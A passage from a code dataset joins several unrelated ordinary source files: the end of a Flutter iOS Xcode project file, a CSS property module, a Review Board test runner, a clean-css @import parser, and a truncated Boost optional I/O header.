*/,\n\t\t\t\t07FC1038526D2F91D8FFF271 /* Pods */,\n\t\t\t\tB0F1D6F88722DCFB4C26011E /* Frameworks */,\n\t\t\t);\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t97C146EF1CF9000F007C117D /* Products */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t97C146EE1CF9000F007C117D /* Runner.app */,\n\t\t\t);\n\t\t\tname = Products;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t97C146F01CF9000F007C117D /* Runner */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t7AFFD8ED1D35381100E5BB4D /* AppDelegate.h */,\n\t\t\t\t7AFFD8EE1D35381100E5BB4D /* AppDelegate.m */,\n\t\t\t\t97C146FA1CF9000F007C117D /* Main.storyboard */,\n\t\t\t\t97C146FD1CF9000F007C117D /* Assets.xcassets */,\n\t\t\t\t97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */,\n\t\t\t\t97C147021CF9000F007C117D /* Info.plist */,\n\t\t\t\t97C146F11CF9000F007C117D /* Supporting Files */,\n\t\t\t\t1498D2321E8E86230040F4C2 /* GeneratedPluginRegistrant.h */,\n\t\t\t\t1498D2331E8E89220040F4C2 /* GeneratedPluginRegistrant.m */,\n\t\t\t);\n\t\t\tpath = Runner;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t97C146F11CF9000F007C117D /* Supporting Files */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\t97C146F21CF9000F007C117D /* main.m */,\n\t\t\t);\n\t\t\tname = \"Supporting Files\";\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\tB0F1D6F88722DCFB4C26011E /* Frameworks */ = {\n\t\t\tisa = PBXGroup;\n\t\t\tchildren = (\n\t\t\t\tAEED61E4CDD8A6E83F66DE8D /* libPods-Runner.a */,\n\t\t\t);\n\t\t\tname = Frameworks;\n\t\t\tsourceTree = \"\";\n\t\t};\n/* End PBXGroup section */\n\n/* Begin PBXNativeTarget section */\n\t\t97C146ED1CF9000F007C117D /* Runner */ = {\n\t\t\tisa = PBXNativeTarget;\n\t\t\tbuildConfigurationList = 97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget \"Runner\" */;\n\t\t\tbuildPhases = (\n\t\t\t\tFB891E98833B974DB9683CE7 /* [CP] Check Pods Manifest.lock */,\n\t\t\t\t9740EEB61CF901F6004384FC /* Run Script */,\n\t\t\t\t97C146EA1CF9000F007C117D /* Sources */,\n\t\t\t\t97C146EB1CF9000F007C117D /* Frameworks */,\n\t\t\t\t97C146EC1CF9000F007C117D /* Resources */,\n\t\t\t\t9705A1C41CF9048500538489 /* Embed Frameworks */,\n\t\t\t\t3B06AD1E1E4923F5004D2608 /* Thin Binary */,\n\t\t\t\t004833E5B661C231D9973C40 /* [CP] Embed Pods Frameworks */,\n\t\t\t);\n\t\t\tbuildRules = (\n\t\t\t);\n\t\t\tdependencies = (\n\t\t\t);\n\t\t\tname = Runner;\n\t\t\tproductName = Runner;\n\t\t\tproductReference = 97C146EE1CF9000F007C117D /* Runner.app */;\n\t\t\tproductType = \"com.apple.product-type.application\";\n\t\t};\n/* End PBXNativeTarget section */\n\n/* Begin PBXProject section */\n\t\t97C146E61CF9000F007C117D /* Project object */ = {\n\t\t\tisa = PBXProject;\n\t\t\tattributes = {\n\t\t\t\tLastUpgradeCheck = 0910;\n\t\t\t\tORGANIZATIONNAME = \"The Chromium Authors\";\n\t\t\t\tTargetAttributes = {\n\t\t\t\t\t97C146ED1CF9000F007C117D = {\n\t\t\t\t\t\tCreatedOnToolsVersion = 7.3.1;\n\t\t\t\t\t};\n\t\t\t\t};\n\t\t\t};\n\t\t\tbuildConfigurationList = 97C146E91CF9000F007C117D /* Build configuration list for PBXProject \"Runner\" */;\n\t\t\tcompatibilityVersion = \"Xcode 3.2\";\n\t\t\tdevelopmentRegion = English;\n\t\t\thasScannedForEncodings = 0;\n\t\t\tknownRegions = (\n\t\t\t\ten,\n\t\t\t\tBase,\n\t\t\t);\n\t\t\tmainGroup = 97C146E51CF9000F007C117D;\n\t\t\tproductRefGroup = 97C146EF1CF9000F007C117D /* Products */;\n\t\t\tprojectDirPath = \"\";\n\t\t\tprojectRoot = \"\";\n\t\t\ttargets = (\n\t\t\t\t97C146ED1CF9000F007C117D /* Runner */,\n\t\t\t);\n\t\t};\n/* End PBXProject section */\n\n/* Begin PBXResourcesBuildPhase section */\n\t\t97C146EC1CF9000F007C117D /* Resources */ = {\n\t\t\tisa = PBXResourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t97C147011CF9000F007C117D /* LaunchScreen.storyboard in Resources */,\n\t\t\t\t3B3967161E833CAA004F5970 /* AppFrameworkInfo.plist in Resources */,\n\t\t\t\t9740EEB41CF90195004384FC /* Debug.xcconfig in Resources */,\n\t\t\t\t97C146FE1CF9000F007C117D /* Assets.xcassets in Resources */,\n\t\t\t\t97C146FC1CF9000F007C117D /* Main.storyboard in Resources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXResourcesBuildPhase section */\n\n/* Begin PBXShellScriptBuildPhase section */\n\t\t004833E5B661C231D9973C40 /* [CP] Embed Pods Frameworks */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t\t\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\",\n\t\t\t\t\"${PODS_ROOT}/../.symlinks/flutter/ios/Flutter.framework\",\n\t\t\t);\n\t\t\tname = \"[CP] Embed Pods Frameworks\";\n\t\t\toutputPaths = (\n\t\t\t\t\"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/Flutter.framework\",\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"\\\"${PODS_ROOT}/Target Support Files/Pods-Runner/Pods-Runner-frameworks.sh\\\"\\n\";\n\t\t\tshowEnvVarsInLog = 0;\n\t\t};\n\t\t3B06AD1E1E4923F5004D2608 /* Thin Binary */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t);\n\t\t\tname = \"Thin Binary\";\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"/bin/sh \\\"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\\\" thin\";\n\t\t};\n\t\t9740EEB61CF901F6004384FC /* Run Script */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t);\n\t\t\tname = \"Run Script\";\n\t\t\toutputPaths = (\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"/bin/sh \\\"$FLUTTER_ROOT/packages/flutter_tools/bin/xcode_backend.sh\\\" build\";\n\t\t};\n\t\tFB891E98833B974DB9683CE7 /* [CP] Check Pods Manifest.lock */ = {\n\t\t\tisa = PBXShellScriptBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t);\n\t\t\tinputFileListPaths = (\n\t\t\t);\n\t\t\tinputPaths = (\n\t\t\t\t\"${PODS_PODFILE_DIR_PATH}/Podfile.lock\",\n\t\t\t\t\"${PODS_ROOT}/Manifest.lock\",\n\t\t\t);\n\t\t\tname = \"[CP] Check Pods Manifest.lock\";\n\t\t\toutputFileListPaths = (\n\t\t\t);\n\t\t\toutputPaths = (\n\t\t\t\t\"$(DERIVED_FILE_DIR)/Pods-Runner-checkManifestLockResult.txt\",\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t\tshellPath = /bin/sh;\n\t\t\tshellScript = \"diff \\\"${PODS_PODFILE_DIR_PATH}/Podfile.lock\\\" \\\"${PODS_ROOT}/Manifest.lock\\\" > /dev/null\\nif [ $? != 0 ] ; then\\n # print error to STDERR\\n echo \\\"error: The sandbox is not in sync with the Podfile.lock. Run 'pod install' or update your CocoaPods installation.\\\" >&2\\n exit 1\\nfi\\n# This output is used by Xcode 'outputs' to avoid re-running this script phase.\\necho \\\"SUCCESS\\\" > \\\"${SCRIPT_OUTPUT_FILE_0}\\\"\\n\";\n\t\t\tshowEnvVarsInLog = 0;\n\t\t};\n/* End PBXShellScriptBuildPhase section */\n\n/* Begin PBXSourcesBuildPhase section */\n\t\t97C146EA1CF9000F007C117D /* Sources */ = {\n\t\t\tisa = PBXSourcesBuildPhase;\n\t\t\tbuildActionMask = 2147483647;\n\t\t\tfiles = (\n\t\t\t\t978B8F6F1D3862AE00F588F7 /* AppDelegate.m in Sources */,\n\t\t\t\t97C146F31CF9000F007C117D /* main.m in Sources */,\n\t\t\t\t1498D2341E8E89220040F4C2 /* GeneratedPluginRegistrant.m in Sources */,\n\t\t\t);\n\t\t\trunOnlyForDeploymentPostprocessing = 0;\n\t\t};\n/* End PBXSourcesBuildPhase section */\n\n/* Begin PBXVariantGroup section */\n\t\t97C146FA1CF9000F007C117D /* Main.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\t97C146FB1CF9000F007C117D /* Base */,\n\t\t\t);\n\t\t\tname = Main.storyboard;\n\t\t\tsourceTree = \"\";\n\t\t};\n\t\t97C146FF1CF9000F007C117D /* LaunchScreen.storyboard */ = {\n\t\t\tisa = PBXVariantGroup;\n\t\t\tchildren = (\n\t\t\t\t97C147001CF9000F007C117D /* Base */,\n\t\t\t);\n\t\t\tname = LaunchScreen.storyboard;\n\t\t\tsourceTree = \"\";\n\t\t};\n/* End PBXVariantGroup section */\n\n/* Begin XCBuildConfiguration section */\n\t\t249021D3217E4FDB00AE95B9 /* Profile */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++0x\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu99;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Profile;\n\t\t};\n\t\t249021D4217E4FDB00AE95B9 /* Profile */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCURRENT_PROJECT_VERSION = \"$(FLUTTER_BUILD_NUMBER)\";\n\t\t\t\tDEVELOPMENT_TEAM = S8QB4VV633;\n\t\t\t\tENABLE_BITCODE = NO;\n\t\t\t\tFRAMEWORK_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tINFOPLIST_FILE = Runner/Info.plist;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = com.flutterWebsite;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVERSIONING_SYSTEM = \"apple-generic\";\n\t\t\t};\n\t\t\tname = Profile;\n\t\t};\n\t\t97C147031CF9000F007C117D /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++0x\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = dwarf;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tENABLE_TESTABILITY = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu99;\n\t\t\t\tGCC_DYNAMIC_NO_PIC = NO;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_OPTIMIZATION_LEVEL = 0;\n\t\t\t\tGCC_PREPROCESSOR_DEFINITIONS = (\n\t\t\t\t\t\"DEBUG=1\",\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t);\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = YES;\n\t\t\t\tONLY_ACTIVE_ARCH = YES;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t97C147041CF9000F007C117D /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tALWAYS_SEARCH_USER_PATHS = NO;\n\t\t\t\tCLANG_ANALYZER_NONNULL = YES;\n\t\t\t\tCLANG_CXX_LANGUAGE_STANDARD = \"gnu++0x\";\n\t\t\t\tCLANG_CXX_LIBRARY = \"libc++\";\n\t\t\t\tCLANG_ENABLE_MODULES = YES;\n\t\t\t\tCLANG_ENABLE_OBJC_ARC = YES;\n\t\t\t\tCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES;\n\t\t\t\tCLANG_WARN_BOOL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_COMMA = YES;\n\t\t\t\tCLANG_WARN_CONSTANT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR;\n\t\t\t\tCLANG_WARN_EMPTY_BODY = YES;\n\t\t\t\tCLANG_WARN_ENUM_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_INFINITE_RECURSION = YES;\n\t\t\t\tCLANG_WARN_INT_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_LITERAL_CONVERSION = YES;\n\t\t\t\tCLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;\n\t\t\t\tCLANG_WARN_RANGE_LOOP_ANALYSIS = YES;\n\t\t\t\tCLANG_WARN_STRICT_PROTOTYPES = YES;\n\t\t\t\tCLANG_WARN_SUSPICIOUS_MOVE = YES;\n\t\t\t\tCLANG_WARN_UNREACHABLE_CODE = YES;\n\t\t\t\tCLANG_WARN__DUPLICATE_METHOD_MATCH = YES;\n\t\t\t\t\"CODE_SIGN_IDENTITY[sdk=iphoneos*]\" = \"iPhone Developer\";\n\t\t\t\tCOPY_PHASE_STRIP = NO;\n\t\t\t\tDEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\";\n\t\t\t\tENABLE_NS_ASSERTIONS = NO;\n\t\t\t\tENABLE_STRICT_OBJC_MSGSEND = YES;\n\t\t\t\tGCC_C_LANGUAGE_STANDARD = gnu99;\n\t\t\t\tGCC_NO_COMMON_BLOCKS = YES;\n\t\t\t\tGCC_WARN_64_TO_32_BIT_CONVERSION = YES;\n\t\t\t\tGCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;\n\t\t\t\tGCC_WARN_UNDECLARED_SELECTOR = YES;\n\t\t\t\tGCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;\n\t\t\t\tGCC_WARN_UNUSED_FUNCTION = YES;\n\t\t\t\tGCC_WARN_UNUSED_VARIABLE = YES;\n\t\t\t\tIPHONEOS_DEPLOYMENT_TARGET = 8.0;\n\t\t\t\tMTL_ENABLE_DEBUG_INFO = NO;\n\t\t\t\tSDKROOT = iphoneos;\n\t\t\t\tTARGETED_DEVICE_FAMILY = \"1,2\";\n\t\t\t\tVALIDATE_PRODUCT = YES;\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n\t\t97C147061CF9000F007C117D /* Debug */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 9740EEB21CF90195004384FC /* Debug.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCURRENT_PROJECT_VERSION = \"$(FLUTTER_BUILD_NUMBER)\";\n\t\t\t\tENABLE_BITCODE = NO;\n\t\t\t\tFRAMEWORK_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tINFOPLIST_FILE = Runner/Info.plist;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = com.flutterWebsite;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVERSIONING_SYSTEM = \"apple-generic\";\n\t\t\t};\n\t\t\tname = Debug;\n\t\t};\n\t\t97C147071CF9000F007C117D /* Release */ = {\n\t\t\tisa = XCBuildConfiguration;\n\t\t\tbaseConfigurationReference = 7AFA3C8E1D35360C0083082E /* Release.xcconfig */;\n\t\t\tbuildSettings = {\n\t\t\t\tASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;\n\t\t\t\tCURRENT_PROJECT_VERSION = \"$(FLUTTER_BUILD_NUMBER)\";\n\t\t\t\tENABLE_BITCODE = NO;\n\t\t\t\tFRAMEWORK_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tINFOPLIST_FILE = Runner/Info.plist;\n\t\t\t\tLD_RUNPATH_SEARCH_PATHS = \"$(inherited) @executable_path/Frameworks\";\n\t\t\t\tLIBRARY_SEARCH_PATHS = (\n\t\t\t\t\t\"$(inherited)\",\n\t\t\t\t\t\"$(PROJECT_DIR)/Flutter\",\n\t\t\t\t);\n\t\t\t\tPRODUCT_BUNDLE_IDENTIFIER = com.flutterWebsite;\n\t\t\t\tPRODUCT_NAME = \"$(TARGET_NAME)\";\n\t\t\t\tVERSIONING_SYSTEM = \"apple-generic\";\n\t\t\t};\n\t\t\tname = Release;\n\t\t};\n/* End XCBuildConfiguration section */\n\n/* Begin XCConfigurationList section */\n\t\t97C146E91CF9000F007C117D /* Build configuration list for PBXProject \"Runner\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t97C147031CF9000F007C117D /* Debug */,\n\t\t\t\t97C147041CF9000F007C117D /* Release */,\n\t\t\t\t249021D3217E4FDB00AE95B9 /* Profile */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n\t\t97C147051CF9000F007C117D /* Build configuration list for PBXNativeTarget \"Runner\" */ = {\n\t\t\tisa = XCConfigurationList;\n\t\t\tbuildConfigurations = (\n\t\t\t\t97C147061CF9000F007C117D /* Debug */,\n\t\t\t\t97C147071CF9000F007C117D /* Release */,\n\t\t\t\t249021D4217E4FDB00AE95B9 /* Profile */,\n\t\t\t);\n\t\t\tdefaultConfigurationIsVisible = 0;\n\t\t\tdefaultConfigurationName = Release;\n\t\t};\n/* End XCConfigurationList section */\n\t};\n\trootObject = 97C146E61CF9000F007C117D /* Project object */;\n}\n"} +{"text": "'use strict';\n\nmodule.exports.definition = {\n set: function (v) {\n this._setProperty('background-position-x', v);\n },\n get: function () {\n return this.getPropertyValue('background-position-x');\n },\n enumerable: true,\n configurable: true\n};\n"} +{"text": "\"\"\"Test runner for the Review Board test suite.\n\nThis is used by :file:`manage.py` or when running ``./tests/runtests.py`` from\nthe top of the source tree.\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nimport os\nimport sys\n\nfrom django.conf import settings\nfrom django.contrib import admin\nfrom djblets.testing.testrunners import TestRunner\n\n\nclass RBTestRunner(TestRunner):\n \"\"\"Test runner for the Review Board and related test suites.\"\"\"\n\n cover_packages = settings.TEST_PACKAGES\n test_packages = settings.TEST_PACKAGES\n\n needs_collect_static = True\n\n nose_options = [\n '-v',\n '--match=^test',\n '--with-id'\n ]\n\n def run_tests(self, *args, **kwargs):\n \"\"\"Run the test suite.\n\n This is a light wrapper around\n :py:meth:`~djblets.testing.testrunners.TestRunner.run_tests` that\n just checks for deprecated options. See that method for arguments.\n\n Args:\n *args (tuple, unused):\n Positional arguments for the test runner.\n\n **kwargs (dict, unused):\n Keyword arguments for the test runner.\n\n Returns:\n int:\n The exit code. 0 means all tests passed, while 1 means there were\n failures.\n \"\"\"\n if '--with-profiling' in sys.argv:\n sys.stderr.write('--with-profiling is no longer supported. Use '\n '--with-profile instead.\\n')\n sys.exit(1)\n\n return super(RBTestRunner, self).run_tests(*args, **kwargs)\n\n def setup_dirs(self):\n settings.SITE_DATA_DIR = os.path.join(self.tempdir, 'data')\n settings.HAYSTACK_CONNECTIONS['default']['PATH'] = \\\n os.path.join(settings.SITE_DATA_DIR, 'search-index')\n images_dir = os.path.join(settings.MEDIA_ROOT, 'uploaded', 'images')\n\n return super(RBTestRunner, self).setup_dirs() + [\n settings.SITE_DATA_DIR,\n images_dir,\n ]\n"} +{"text": "var split = require('../utils/split');\n\nvar BRACE_PREFIX = /^\\(/;\nvar BRACE_SUFFIX = /\\)$/;\nvar IMPORT_PREFIX_PATTERN = /^@import/i;\nvar QUOTE_PREFIX_PATTERN = /['\"]\\s*/;\nvar QUOTE_SUFFIX_PATTERN = /\\s*['\"]/;\nvar URL_PREFIX_PATTERN = /^url\\(\\s*/i;\nvar URL_SUFFIX_PATTERN = /\\s*\\)/i;\n\nfunction extractImportUrlAndMedia(atRuleValue) {\n var uri;\n var mediaQuery;\n var stripped;\n var parts;\n\n stripped = atRuleValue\n .replace(IMPORT_PREFIX_PATTERN, '')\n .trim()\n .replace(URL_PREFIX_PATTERN, '(')\n .replace(URL_SUFFIX_PATTERN, ')')\n .replace(QUOTE_PREFIX_PATTERN, '')\n .replace(QUOTE_SUFFIX_PATTERN, '');\n\n parts = split(stripped, ' ');\n\n uri = parts[0]\n .replace(BRACE_PREFIX, '')\n .replace(BRACE_SUFFIX, '');\n mediaQuery = parts.slice(1).join(' ');\n\n return [uri, mediaQuery];\n}\n\nmodule.exports = extractImportUrlAndMedia;\n"} +{"text": "// Copyright (C) 2005, Fernando Luis Cacciola Carballal.\n//\n// Use, modification, and distribution is subject to the Boost Software\n// License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at\n// http://www.boost.org/LICENSE_1_0.txt)\n//\n// See http://www.boost.org/libs/optional for documentation.\n//\n// You are welcome to contact the author at:\n// fernando_cacciola@hotmail.com\n//\n#ifndef BOOST_OPTIONAL_OPTIONAL_IO_FLC_19NOV2002_HPP\n#define BOOST_OPTIONAL_OPTIONAL_IO_FLC_19NOV2002_HPP\n\n#include \n#include \n\n#include \"boost/none.hpp\"\n#include \"boost/optional/optional.hpp\"\n\n\nnamespace boost\n{\n\ntemplate\ninline\nstd::basic_ostream&\noperator<<(std::basic_ostream& out, none_t)\n{\n if (out.good())\n {\n out << \"--\";\n }\n \n return out;\n}\n\ntemplate\ninline\nstd::basic_ostream&\noperator<<(std::basic_ostream& out, optional const& v)\n{\n if (out.good())\n {\n if (!v)\n out << \"--\" ;\n else out << ' ' << *v ;\n }\n\n return out;\n}\n\ntemplate\ninline\nstd::basic_istream&\noperator>>(std::basic_istream& in, optional& v)\n{\n if (in.good())\n {\n int d = in.get();\n if (d == ' ')\n {\n T x;\n in >> x;\n#ifndef BOOST_OPTIONAL_DETAIL_NO_RVALUE_REFERENCES\n v = boost::move(x);\n#else\n v = x;\n#endif\n }\n else\n {\n if (d == '-')\n {\n d = in.get();\n\n if (d == '-')\n {\n v = none;\n return in;\n }\n }\n\n in.setstate( std::ios::failbit );\n }\n }\n\n return 